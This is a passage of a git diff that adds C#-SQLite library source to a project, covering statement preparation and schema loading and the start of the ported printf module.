sqlite3BtreeEnter( pDb.pBt ); + if ( !sqlite3BtreeIsInReadTrans( pDb.pBt ) ) + { + rc = sqlite3BtreeBeginTrans( pDb.pBt, 0 ); + if ( rc != SQLITE_OK ) + { +#if SQLITE_OMIT_WAL + if (pDb.pBt.pBt.pSchema.file_format == 2) + sqlite3SetString( ref pzErrMsg, db, "%s (wal format detected)", sqlite3ErrStr( rc ) ); + else + sqlite3SetString( ref pzErrMsg, db, "%s", sqlite3ErrStr( rc ) ); +#else + sqlite3SetString( ref pzErrMsg, db, "%s", sqlite3ErrStr( rc ) ); +#endif + goto initone_error_out; + } + openedTransaction = 1; + } + + /* Get the database meta information. + ** + ** Meta values are as follows: + ** meta[0] Schema cookie. Changes with each schema change. + ** meta[1] File format of schema layer. + ** meta[2] Size of the page cache. + ** meta[3] Largest rootpage (auto/incr_vacuum mode) + ** meta[4] Db text encoding. 1:UTF-8 2:UTF-16LE 3:UTF-16BE + ** meta[5] User version + ** meta[6] Incremental vacuum mode + ** meta[7] unused + ** meta[8] unused + ** meta[9] unused + ** + ** Note: The #defined SQLITE_UTF* symbols in sqliteInt.h correspond to + ** the possible values of meta[BTREE_TEXT_ENCODING-1]. + */ + for ( i = 0; i < ArraySize( meta ); i++ ) + { + sqlite3BtreeGetMeta( pDb.pBt, i + 1, ref meta[i] ); + } + pDb.pSchema.schema_cookie = (int)meta[BTREE_SCHEMA_VERSION - 1]; + + /* If opening a non-empty database, check the text encoding. For the + ** main database, set sqlite3.enc to the encoding of the main database. + ** For an attached db, it is an error if the encoding is not the same + ** as sqlite3.enc. + */ + if ( meta[BTREE_TEXT_ENCODING - 1] != 0 ) + { /* text encoding */ + if ( iDb == 0 ) + { + u8 encoding; + /* If opening the main database, set ENC(db). */ + encoding = (u8)( meta[BTREE_TEXT_ENCODING - 1] & 3 ); + if ( encoding == 0 ) + encoding = SQLITE_UTF8; + db.aDb[0].pSchema.enc = encoding; //ENC( db ) = encoding; + db.pDfltColl = sqlite3FindCollSeq( db, SQLITE_UTF8, "BINARY", 0 ); + } + else + { + /* If opening an attached database, the encoding much match ENC(db) */ + if ( meta[BTREE_TEXT_ENCODING - 1] != ENC( db ) ) + { + sqlite3SetString( ref pzErrMsg, db, "attached databases must use the same" + + " text encoding as main database" ); + rc = SQLITE_ERROR; + goto initone_error_out; + } + } + } + else + { + DbSetProperty( db, iDb, DB_Empty ); + } + pDb.pSchema.enc = ENC( db ); + + if ( pDb.pSchema.cache_size == 0 ) + { + size = sqlite3AbsInt32((int)meta[BTREE_DEFAULT_CACHE_SIZE - 1]); + if ( size == 0 ) + { + size = SQLITE_DEFAULT_CACHE_SIZE; + } + pDb.pSchema.cache_size = size; + sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); + } + + /* + ** file_format==1 Version 3.0.0. + ** file_format==2 Version 3.1.3. // ALTER TABLE ADD COLUMN + ** file_format==3 Version 3.1.4. // ditto but with non-NULL defaults + ** file_format==4 Version 3.3.0. // DESC indices. Boolean constants + */ + pDb.pSchema.file_format = (u8)meta[BTREE_FILE_FORMAT - 1]; + if ( pDb.pSchema.file_format == 0 ) + { + pDb.pSchema.file_format = 1; + } + if ( pDb.pSchema.file_format > SQLITE_MAX_FILE_FORMAT ) + { + sqlite3SetString( ref pzErrMsg, db, "unsupported file format" ); + rc = SQLITE_ERROR; + goto initone_error_out; + } + + /* Ticket #2804: When we open a database in the newer file format, + ** clear the legacy_file_format pragma flag so that a VACUUM will + ** not downgrade the database and thus invalidate any descending + ** indices that the user might have created. + */ + if ( iDb == 0 && meta[BTREE_FILE_FORMAT - 1] >= 4 ) + { + db.flags &= ~SQLITE_LegacyFileFmt; + } + + /* Read the schema information out of the schema tables + */ + Debug.Assert( db.init.busy != 0 ); + { + string zSql; + zSql = sqlite3MPrintf( db, + "SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid", + db.aDb[iDb].zName, zMasterName ); +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +{ +int (*xAuth)(void*,int,const char*,const char*,const char*,const char*); +xAuth = db.xAuth; +db.xAuth = 0; +#endif + rc = sqlite3_exec( db, zSql, (dxCallback)sqlite3InitCallback, initData, 0 ); + pzErrMsg = initData.pzErrMsg; +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +db.xAuth = xAuth; +} +#endif + if ( rc == SQLITE_OK ) + rc = initData.rc; + sqlite3DbFree( db, ref zSql ); +#if !SQLITE_OMIT_ANALYZE + if ( rc == SQLITE_OK ) + { + sqlite3AnalysisLoad( db, iDb ); + } +#endif + } + //if ( db.mallocFailed != 0 ) + //{ + // rc = SQLITE_NOMEM; + // sqlite3ResetInternalSchema( db, -1 ); + //} + if ( rc == SQLITE_OK || ( db.flags & SQLITE_RecoveryMode ) != 0 ) + { + /* Black magic: If the SQLITE_RecoveryMode flag is set, then consider + ** the schema loaded, even if errors occurred. In this situation the + ** current sqlite3_prepare() operation will fail, but the following one + ** will attempt to compile the supplied statement against whatever subset + ** of the schema was loaded before the error occurred. The primary + ** purpose of this is to allow access to the sqlite_master table + ** even when its contents have been corrupted. + */ + DbSetProperty( db, iDb, DB_SchemaLoaded ); + rc = SQLITE_OK; + } +/* Jump here for an error that occurs after successfully allocating +** curMain and calling sqlite3BtreeEnter(). For an error that occurs +** before that point, jump to error_out. +*/ +initone_error_out: + if ( openedTransaction != 0 ) + { + sqlite3BtreeCommit( pDb.pBt ); + } + sqlite3BtreeLeave( pDb.pBt ); + +error_out: + if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) + { + // db.mallocFailed = 1; + } + return rc; + } + + /* + ** Initialize all database files - the main database file, the file + ** used to store temporary tables, and any additional database files + ** created using ATTACH statements. Return a success code. If an + ** error occurs, write an error message into pzErrMsg. + ** + ** After a database is initialized, the DB_SchemaLoaded bit is set + ** bit is set in the flags field of the Db structure. If the database + ** file was of zero-length, then the DB_Empty flag is also set. + */ + static int sqlite3Init( sqlite3 db, ref string pzErrMsg ) + { + int i, rc; + bool commit_internal = !( ( db.flags & SQLITE_InternChanges ) != 0 ); + + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + rc = SQLITE_OK; + db.init.busy = 1; + for ( i = 0; rc == SQLITE_OK && i < db.nDb; i++ ) + { + if ( DbHasProperty( db, i, DB_SchemaLoaded ) || i == 1 ) + continue; + rc = sqlite3InitOne( db, i, ref pzErrMsg ); + if ( rc != 0 ) + { + sqlite3ResetInternalSchema( db, i ); + } + } + + /* Once all the other databases have been initialised, load the schema + ** for the TEMP database. This is loaded last, as the TEMP database + ** schema may contain references to objects in other databases. + */ +#if !SQLITE_OMIT_TEMPDB + if ( rc == SQLITE_OK && ALWAYS( db.nDb > 1 ) + && !DbHasProperty( db, 1, DB_SchemaLoaded ) ) + { + rc = sqlite3InitOne( db, 1, ref pzErrMsg ); + if ( rc != 0 ) + { + sqlite3ResetInternalSchema( db, 1 ); + } + } +#endif + + db.init.busy = 0; + if ( rc == SQLITE_OK && commit_internal ) + { + sqlite3CommitInternalChanges( db ); + } + + return rc; + } + + /* + ** This routine is a no-op if the database schema is already initialised. + ** Otherwise, the schema is loaded. An error code is returned. + */ + static int sqlite3ReadSchema( Parse pParse ) + { + int rc = SQLITE_OK; + sqlite3 db = pParse.db; + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + if ( 0 == db.init.busy ) + { + rc = sqlite3Init( db, ref pParse.zErrMsg ); + } + if ( rc != SQLITE_OK ) + { + pParse.rc = rc; + pParse.nErr++; + } + return rc; + } + + + /* + ** Check schema cookies in all databases. If any cookie is out + ** of date set pParse->rc to SQLITE_SCHEMA. If all schema cookies + ** make no changes to pParse->rc. + */ + static void schemaIsValid( Parse pParse ) + { + sqlite3 db = pParse.db; + int iDb; + int rc; + u32 cookie = 0; + + Debug.Assert( pParse.checkSchema != 0 ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + for ( iDb = 0; iDb < db.nDb; iDb++ ) + { + int openedTransaction = 0; /* True if a transaction is opened */ + Btree pBt = db.aDb[iDb].pBt; /* Btree database to read cookie from */ + if ( pBt == null ) + continue; + + /* If there is not already a read-only (or read-write) transaction opened + ** on the b-tree database, open one now. If a transaction is opened, it + ** will be closed immediately after reading the meta-value. */ + if ( !sqlite3BtreeIsInReadTrans( pBt ) ) + { + rc = sqlite3BtreeBeginTrans( pBt, 0 ); + //if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) + //{ + // db.mallocFailed = 1; + //} + if ( rc != SQLITE_OK ) + return; + openedTransaction = 1; + } + + /* Read the schema cookie from the database. If it does not match the + ** value stored as part of the in-memory schema representation, + ** set Parse.rc to SQLITE_SCHEMA. */ + sqlite3BtreeGetMeta( pBt, BTREE_SCHEMA_VERSION, ref cookie ); + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + if ( cookie != db.aDb[iDb].pSchema.schema_cookie ) + { + sqlite3ResetInternalSchema( db, iDb ); + pParse.rc = SQLITE_SCHEMA; + } + + /* Close the transaction, if one was opened. */ + if ( openedTransaction != 0 ) + { + sqlite3BtreeCommit( pBt ); + } + } + } + + /* + ** Convert a schema pointer into the iDb index that indicates + ** which database file in db.aDb[] the schema refers to. + ** + ** If the same database is attached more than once, the first + ** attached database is returned. + */ + static int sqlite3SchemaToIndex( sqlite3 db, Schema pSchema ) + { + int i = -1000000; + + /* If pSchema is NULL, then return -1000000. This happens when code in + ** expr.c is trying to resolve a reference to a transient table (i.e. one + ** created by a sub-select). In this case the return value of this + ** function should never be used. + ** + ** We return -1000000 instead of the more usual -1 simply because using + ** -1000000 as the incorrect index into db->aDb[] is much + ** more likely to cause a segfault than -1 (of course there are assert() + ** statements too, but it never hurts to play the odds). + */ + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + if ( pSchema != null ) + { + for ( i = 0; ALWAYS( i < db.nDb ); i++ ) + { + if ( db.aDb[i].pSchema == pSchema ) + { + break; + } + } + Debug.Assert( i >= 0 && i < db.nDb ); + } + return i; + } + + /* + ** Compile the UTF-8 encoded SQL statement zSql into a statement handle. + */ + static int sqlite3Prepare( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + int saveSqlFlag, /* True to copy SQL text into the sqlite3_stmt */ + Vdbe pReprepare, /* VM being reprepared */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + ref string pzTail /* OUT: End of parsed string */ + ) + { + Parse pParse; /* Parsing context */ + string zErrMsg = ""; /* Error message */ + int rc = SQLITE_OK; /* Result code */ + int i; /* Loop counter */ + + ppStmt = null; + pzTail = null; + + /* Allocate the parsing context */ + pParse = new Parse();//sqlite3StackAllocZero(db, sizeof(*pParse)); + //if ( pParse == null ) + //{ + // rc = SQLITE_NOMEM; + // goto end_prepare; + //} + pParse.pReprepare = pReprepare; + pParse.sLastToken.z = ""; + + // assert( ppStmt && *ppStmt==0 ); + //Debug.Assert( 0 == db.mallocFailed ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + + /* Check to verify that it is possible to get a read lock on all + ** database schemas. The inability to get a read lock indicates that + ** some other database connection is holding a write-lock, which in + ** turn means that the other connection has made uncommitted changes + ** to the schema. + ** + ** Were we to proceed and prepare the statement against the uncommitted + ** schema changes and if those schema changes are subsequently rolled + ** back and different changes are made in their place, then when this + ** prepared statement goes to run the schema cookie would fail to detect + ** the schema change. Disaster would follow. + ** + ** This thread is currently holding mutexes on all Btrees (because + ** of the sqlite3BtreeEnterAll() in sqlite3LockAndPrepare()) so it + ** is not possible for another thread to start a new schema change + ** while this routine is running. Hence, we do not need to hold + ** locks on the schema, we just need to make sure nobody else is + ** holding them. + ** + ** Note that setting READ_UNCOMMITTED overrides most lock detection, + ** but it does *not* override schema lock detection, so this all still + ** works even if READ_UNCOMMITTED is set. + */ + for ( i = 0; i < db.nDb; i++ ) + { + Btree pBt = db.aDb[i].pBt; + if ( pBt != null ) + { + Debug.Assert( sqlite3BtreeHoldsMutex( pBt ) ); + rc = sqlite3BtreeSchemaLocked( pBt ); + if ( rc != 0 ) + { + string zDb = db.aDb[i].zName; + sqlite3Error( db, rc, "database schema is locked: %s", zDb ); + testcase( db.flags & SQLITE_ReadUncommitted ); + goto end_prepare; + } + } + } + + sqlite3VtabUnlockList( db ); + + pParse.db = db; + pParse.nQueryLoop = (double)1; + if ( nBytes >= 0 && ( nBytes == 0 || zSql[nBytes - 1] != 0 ) ) + { + string zSqlCopy; + int mxLen = db.aLimit[SQLITE_LIMIT_SQL_LENGTH]; + testcase( nBytes == mxLen ); + testcase( nBytes == mxLen + 1 ); + if ( nBytes > mxLen ) + { + sqlite3Error( db, SQLITE_TOOBIG, "statement too long" ); + rc = sqlite3ApiExit( db, SQLITE_TOOBIG ); + goto end_prepare; + } + zSqlCopy = zSql.Substring( 0, nBytes );// sqlite3DbStrNDup(db, zSql, nBytes); + if ( zSqlCopy != null ) + { + sqlite3RunParser( pParse, zSqlCopy, ref zErrMsg ); + sqlite3DbFree( db, ref zSqlCopy ); + //pParse->zTail = &zSql[pParse->zTail-zSqlCopy]; + } + else + { + //pParse->zTail = &zSql[nBytes]; + } + } + else + { + sqlite3RunParser( pParse, zSql, ref zErrMsg ); + } + Debug.Assert( 1 == (int)pParse.nQueryLoop ); + + //if ( db.mallocFailed != 0 ) + //{ + // pParse.rc = SQLITE_NOMEM; + //} + if ( pParse.rc == SQLITE_DONE ) + pParse.rc = SQLITE_OK; + if ( pParse.checkSchema != 0 ) + { + schemaIsValid( pParse ); + } + //if ( db.mallocFailed != 0 ) + //{ + // pParse.rc = SQLITE_NOMEM; + //} + //if (pzTail != null) + { + pzTail = pParse.zTail == null ? "" : pParse.zTail.ToString(); + } + rc = pParse.rc; +#if !SQLITE_OMIT_EXPLAIN + if ( rc == SQLITE_OK && pParse.pVdbe != null && pParse.explain != 0 ) + { + string[] azColName = new string[] { +"addr", "opcode", "p1", "p2", "p3", "p4", "p5", "comment", +"selectid", "order", "from", "detail" +}; + int iFirst, mx; + if ( pParse.explain == 2 ) + { + sqlite3VdbeSetNumCols( pParse.pVdbe, 4 ); + iFirst = 8; + mx = 12; + } + else + { + sqlite3VdbeSetNumCols( pParse.pVdbe, 8 ); + iFirst = 0; + mx = 8; + } + for ( i = iFirst; i < mx; i++ ) + { + sqlite3VdbeSetColName( pParse.pVdbe, i - iFirst, COLNAME_NAME, + azColName[i], SQLITE_STATIC ); + } + } +#endif + + Debug.Assert( db.init.busy == 0 || saveSqlFlag == 0 ); + if ( db.init.busy == 0 ) + { + Vdbe pVdbe = pParse.pVdbe; + sqlite3VdbeSetSql( pVdbe, zSql, (int)( zSql.Length - ( pParse.zTail == null ? 0 : pParse.zTail.Length ) ), saveSqlFlag ); + } + if ( pParse.pVdbe != null && ( rc != SQLITE_OK /*|| db.mallocFailed != 0 */ ) ) + { + sqlite3VdbeFinalize( ref pParse.pVdbe ); + //Debug.Assert( ppStmt == null ); + } + else + { + ppStmt = pParse.pVdbe; + } + + if ( zErrMsg != "" ) + { + sqlite3Error( db, rc, "%s", zErrMsg ); + sqlite3DbFree( db, ref zErrMsg ); + } + else + { + sqlite3Error( db, rc, 0 ); + } + + /* Delete any TriggerPrg structures allocated while parsing this statement. */ + while ( pParse.pTriggerPrg != null ) + { + TriggerPrg pT = pParse.pTriggerPrg; + pParse.pTriggerPrg = pT.pNext; + sqlite3DbFree( db, ref pT ); + } + +end_prepare: + + //sqlite3StackFree( db, pParse ); + rc = sqlite3ApiExit( db, rc ); + Debug.Assert( ( rc & db.errMask ) == rc ); + return rc; + } + + //C# Version w/o End of Parsed String + static int sqlite3LockAndPrepare( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + int saveSqlFlag, /* True to copy SQL text into the sqlite3_stmt */ + Vdbe pOld, /* VM being reprepared */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + int dummy /* OUT: End of parsed string */ + ) + { + string sOut = null; + return sqlite3LockAndPrepare( db, zSql, nBytes, saveSqlFlag, pOld, ref ppStmt, ref sOut ); + } + + static int sqlite3LockAndPrepare( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + int saveSqlFlag, /* True to copy SQL text into the sqlite3_stmt */ + Vdbe pOld, /* VM being reprepared */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + ref string pzTail /* OUT: End of parsed string */ + ) + { + int rc; + // assert( ppStmt!=0 ); + if ( !sqlite3SafetyCheckOk( db ) ) + { + ppStmt = null; + pzTail = null; + return SQLITE_MISUSE_BKPT(); + } + + sqlite3_mutex_enter( db.mutex ); + sqlite3BtreeEnterAll( db ); + rc = sqlite3Prepare( db, zSql, nBytes, saveSqlFlag, pOld, ref ppStmt, ref pzTail ); + + if ( rc == SQLITE_SCHEMA ) + { + sqlite3_finalize( ppStmt ); + rc = sqlite3Prepare( db, zSql, nBytes, saveSqlFlag, pOld, ref ppStmt, ref pzTail ); + } + sqlite3BtreeLeaveAll( db ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + + /* + ** Rerun the compilation of a statement after a schema change. + ** + ** If the statement is successfully recompiled, return SQLITE_OK. Otherwise, + ** if the statement cannot be recompiled because another connection has + ** locked the sqlite3_master table, return SQLITE_LOCKED. If any other error + ** occurs, return SQLITE_SCHEMA. + */ + static int sqlite3Reprepare( Vdbe p ) + { + int rc; + sqlite3_stmt pNew = new sqlite3_stmt(); + string zSql; + sqlite3 db; + + Debug.Assert( sqlite3_mutex_held( sqlite3VdbeDb( p ).mutex ) ); + zSql = sqlite3_sql( (sqlite3_stmt)p ); + Debug.Assert( zSql != null ); /* Reprepare only called for prepare_v2() statements */ + db = sqlite3VdbeDb( p ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + rc = sqlite3LockAndPrepare( db, zSql, -1, 0, p, ref pNew, 0 ); + if ( rc != 0 ) + { + if ( rc == SQLITE_NOMEM ) + { + // db.mallocFailed = 1; + } + Debug.Assert( pNew == null ); + return rc; + } + else + { + Debug.Assert( pNew != null ); + } + sqlite3VdbeSwap( (Vdbe)pNew, p ); + sqlite3TransferBindings( pNew, (sqlite3_stmt)p ); + sqlite3VdbeResetStepResult( (Vdbe)pNew ); + sqlite3VdbeFinalize( ref pNew ); + return SQLITE_OK; + } + + + //C# Overload for ignore error out + static public int sqlite3_prepare( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + int dummy /* OUT: End of parsed string */ + ) + { + string sOut = null; + return sqlite3_prepare( db, zSql, nBytes, ref ppStmt, ref sOut ); + } + /* + ** Two versions of the official API. Legacy and new use. In the legacy + ** version, the original SQL text is not saved in the prepared statement + ** and so if a schema change occurs, SQLITE_SCHEMA is returned by + ** sqlite3_step(). In the new version, the original SQL text is retained + ** and the statement is automatically recompiled if an schema change + ** occurs. + */ + static public int sqlite3_prepare( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + ref string pzTail /* OUT: End of parsed string */ + ) + { + int rc; + rc = sqlite3LockAndPrepare( db, zSql, nBytes, 0, null, ref ppStmt, ref pzTail ); + Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ + return rc; + } + + public static int sqlite3_prepare_v2( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + int dummy /* ( No string passed) */ + ) + { + string pzTail = null; + int rc; + rc = sqlite3LockAndPrepare( db, zSql, nBytes, 1, null, ref ppStmt, ref pzTail ); + Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ + return rc; + } + + public static int sqlite3_prepare_v2( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + ref string pzTail /* OUT: End of parsed string */ + ) + { + int rc; + rc = sqlite3LockAndPrepare( db, zSql, nBytes, 1, null, ref ppStmt, ref pzTail ); + Debug.Assert( rc == SQLITE_OK || ppStmt == null ); /* VERIFY: F13021 */ + return rc; + } + + +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 + +/* +** Compile the UTF-16 encoded SQL statement zSql into a statement handle. +*/ +static int sqlite3Prepare16( +sqlite3 db, /* Database handle. */ +string zSql, /* UTF-15 encoded SQL statement. */ +int nBytes, /* Length of zSql in bytes. */ +bool saveSqlFlag, /* True to save SQL text into the sqlite3_stmt */ +out sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ +out string pzTail /* OUT: End of parsed string */ +){ +/* This function currently works by first transforming the UTF-16 +** encoded string to UTF-8, then invoking sqlite3_prepare(). The +** tricky bit is figuring out the pointer to return in pzTail. +*/ +string zSql8; +string zTail8 = ""; +int rc = SQLITE_OK; + +assert( ppStmt ); +*ppStmt = 0; +if( !sqlite3SafetyCheckOk(db) ){ +return SQLITE_MISUSE_BKPT; +} +sqlite3_mutex_enter(db.mutex); +zSql8 = sqlite3Utf16to8(db, zSql, nBytes, SQLITE_UTF16NATIVE); +if( zSql8 !=""){ +rc = sqlite3LockAndPrepare(db, zSql8, -1, saveSqlFlag, null, ref ppStmt, ref zTail8); +} + +if( zTail8 !="" && pzTail !=""){ +/* If sqlite3_prepare returns a tail pointer, we calculate the +** equivalent pointer into the UTF-16 string by counting the unicode +** characters between zSql8 and zTail8, and then returning a pointer +** the same number of characters into the UTF-16 string. +*/ +Debugger.Break (); // TODO -- +// int chars_parsed = sqlite3Utf8CharLen(zSql8, (int)(zTail8-zSql8)); +// pzTail = (u8 *)zSql + sqlite3Utf16ByteLen(zSql, chars_parsed); +} +sqlite3DbFree(db,ref zSql8); +rc = sqlite3ApiExit(db, rc); +sqlite3_mutex_leave(db.mutex); +return rc; +} + +/* +** Two versions of the official API. Legacy and new use. In the legacy +** version, the original SQL text is not saved in the prepared statement +** and so if a schema change occurs, SQLITE_SCHEMA is returned by +** sqlite3_step(). In the new version, the original SQL text is retained +** and the statement is automatically recompiled if an schema change +** occurs. +*/ +public static int sqlite3_prepare16( +sqlite3 db, /* Database handle. */ +string zSql, /* UTF-16 encoded SQL statement. */ +int nBytes, /* Length of zSql in bytes. */ +out sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ +out string pzTail /* OUT: End of parsed string */ +){ +int rc; +rc = sqlite3Prepare16(db,zSql,nBytes,false,ref ppStmt,ref pzTail); +Debug.Assert( rc==SQLITE_OK || ppStmt==null || ppStmt==null ); /* VERIFY: F13021 */ +return rc; +} +public static int sqlite3_prepare16_v2( +sqlite3 db, /* Database handle. */ +string zSql, /* UTF-16 encoded SQL statement. */ +int nBytes, /* Length of zSql in bytes. */ +out sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ +out string pzTail /* OUT: End of parsed string */ +) +{ +int rc; +rc = sqlite3Prepare16(db,zSql,nBytes,true,ref ppStmt,ref pzTail); +Debug.Assert( rc==SQLITE_OK || ppStmt==null || ppStmt==null ); /* VERIFY: F13021 */ +return rc; +} + +#endif // * SQLITE_OMIT_UTF16 */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/printf_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/printf_c.cs new file mode 100644 index 0000000..44abf3d --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/printf_c.cs @@ -0,0 +1,1446 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; + +namespace Community.CsharpSqlite +{ + using etByte = System.Boolean; + using i64 = System.Int64; + using u64 = System.UInt64; + using LONGDOUBLE_TYPE = System.Double; + using sqlite_u3264 = System.UInt64; + using va_list = System.Object; + + public partial class Sqlite3 + { + /* + ** The "printf" code that follows dates from the 1980's. It is in + ** the public domain. The original comments are included here for + ** completeness. They are very out-of-date but might be useful as + ** an historical reference. Most of the "enhancements" have been backed + ** out so that the functionality is now the same as standard printf(). + ** + ************************************************************************** + ** + ** The following modules is an enhanced replacement for the "printf" subroutines + ** found in the standard C library. The following enhancements are + ** supported: + ** + ** + Additional functions. The standard set of "printf" functions + ** includes printf, fprintf, sprintf, vprintf, vfprintf, and + ** vsprintf. This module adds the following: + ** + ** * snprintf -- Works like sprintf, but has an extra argument + ** which is the size of the buffer written to. + ** + ** * mprintf -- Similar to sprintf. Writes output to memory + ** obtained from malloc. + ** + ** * xprintf -- Calls a function to dispose of output. + ** + ** * nprintf -- No output, but returns the number of characters + ** that would have been output by printf. + ** + ** * A v- version (ex: vsnprintf) of every function is also + ** supplied. + ** + ** + A few extensions to the formatting notation are supported: + ** + ** * The "=" flag (similar to "-") causes the output to be + ** be centered in the appropriately sized field. + ** + ** * The %b field outputs an integer in binary notation. + ** + ** * The %c field now accepts a precision. The character output + ** is repeated by the number of times the precision specifies. + ** + ** * The %' field works like %c, but takes as its character the + ** next character of the format string, instead of the next + ** argument. For example, printf("%.78'-") prints 78 minus + ** signs, the same as printf("%.78c",'-'). + ** + ** + When compiled using GCC on a SPARC, this version of printf is + ** faster than the library printf for SUN OS 4.1. + ** + ** + All functions are fully reentrant. + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-05-19 13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Conversion types fall into various categories as defined by the + ** following enumeration. + */ + //#define etRADIX 1 /* Integer types. %d, %x, %o, and so forth */ + //#define etFLOAT 2 /* Floating point. %f */ + //#define etEXP 3 /* Exponentional notation. %e and %E */ + //#define etGENERIC 4 /* Floating or exponential, depending on exponent. %g */ + //#define etSIZE 5 /* Return number of characters processed so far. %n */ + //#define etSTRING 6 /* Strings. %s */ + //#define etDYNSTRING 7 /* Dynamically allocated strings. %z */ + //#define etPERCENT 8 /* Percent symbol. %% */ + //#define etCHARX 9 /* Characters. %c */ + ///* The rest are extensions, not normally found in printf() */ + //#define etSQLESCAPE 10 /* Strings with '\'' doubled. %q */ + //#define etSQLESCAPE2 11 /* Strings with '\'' doubled and enclosed in '', + // NULL pointers replaced by SQL NULL. %Q */ + //#define etTOKEN 12 /* a pointer to a Token structure */ + //#define etSRCLIST 13 /* a pointer to a SrcList */ + //#define etPOINTER 14 /* The %p conversion */ + //#define etSQLESCAPE3 15 /* %w -> Strings with '\"' doubled */ + //#define etORDINAL 16 /* %r -> 1st, 2nd, 3rd, 4th, etc. English only */ + + //#define etINVALID 0 /* Any unrecognized conversion type */ + + const int etRADIX = 1; /* Integer types. %d, %x, %o, and so forth */ + const int etFLOAT = 2; /* Floating point. %f */ + const int etEXP = 3; /* Exponentional notation. %e and %E */ + const int etGENERIC = 4; /* Floating or exponential, depending on exponent. %g */ + const int etSIZE = 5; /* Return number of characters processed so far. %n */ + const int etSTRING = 6; /* Strings. %s */ + const int etDYNSTRING = 7; /* Dynamically allocated strings. %z */ + const int etPERCENT = 8; /* Percent symbol. %% */ + const int etCHARX = 9; /* Characters. %c */ + /* The rest are extensions, not normally found in printf() */ + const int etSQLESCAPE = 10; /* Strings with '\'' doubled. %q */ + const int etSQLESCAPE2 = 11; /* Strings with '\'' doubled and enclosed in '', +NULL pointers replaced by SQL NULL. %Q */ + const int etTOKEN = 12; /* a pointer to a Token structure */ + const int etSRCLIST = 13; /* a pointer to a SrcList */ + const int etPOINTER = 14; /* The %p conversion */ + const int etSQLESCAPE3 = 15; /* %w . Strings with '\"' doubled */ + const int etORDINAL = 16; /* %r . 1st, 2nd, 3rd, 4th, etc. English only */ + const int etINVALID = 0; /* Any unrecognized conversion type */ + + /* + ** An "etByte" is an 8-bit unsigned value. + */ + //typedef unsigned char etByte; + + /* + ** Each builtin conversion character (ex: the 'd' in "%d") is described + ** by an instance of the following structure + */ + public class et_info + { /* Information about each format field */ + public char fmttype; /* The format field code letter */ + public byte _base; /* The _base for radix conversion */ + public byte flags; /* One or more of FLAG_ constants below */ + public byte type; /* Conversion paradigm */ + public byte charset; /* Offset into aDigits[] of the digits string */ + public byte prefix; /* Offset into aPrefix[] of the prefix string */ + /* + * Constructor + */ + public et_info( char fmttype, + byte _base, + byte flags, + byte type, + byte charset, + byte prefix + ) + { + this.fmttype = fmttype; + this._base = _base; + this.flags = flags; + this.type = type; + this.charset = charset; + this.prefix = prefix; + } + + } + + /* + ** Allowed values for et_info.flags + */ + const byte FLAG_SIGNED = 1; /* True if the value to convert is signed */ + const byte FLAG_INTERN = 2; /* True if for internal use only */ + const byte FLAG_STRING = 4; /* Allow infinity precision */ + + + /* + ** The following table is searched linearly, so it is good to put the + ** most frequently used conversion types first. + */ + static string aDigits = "0123456789ABCDEF0123456789abcdef"; + static string aPrefix = "-x0\000X0"; + static et_info[] fmtinfo = new et_info[] { +new et_info( 'd', 10, 1, etRADIX, 0, 0 ), +new et_info( 's', 0, 4, etSTRING, 0, 0 ), +new et_info( 'g', 0, 1, etGENERIC, 30, 0 ), +new 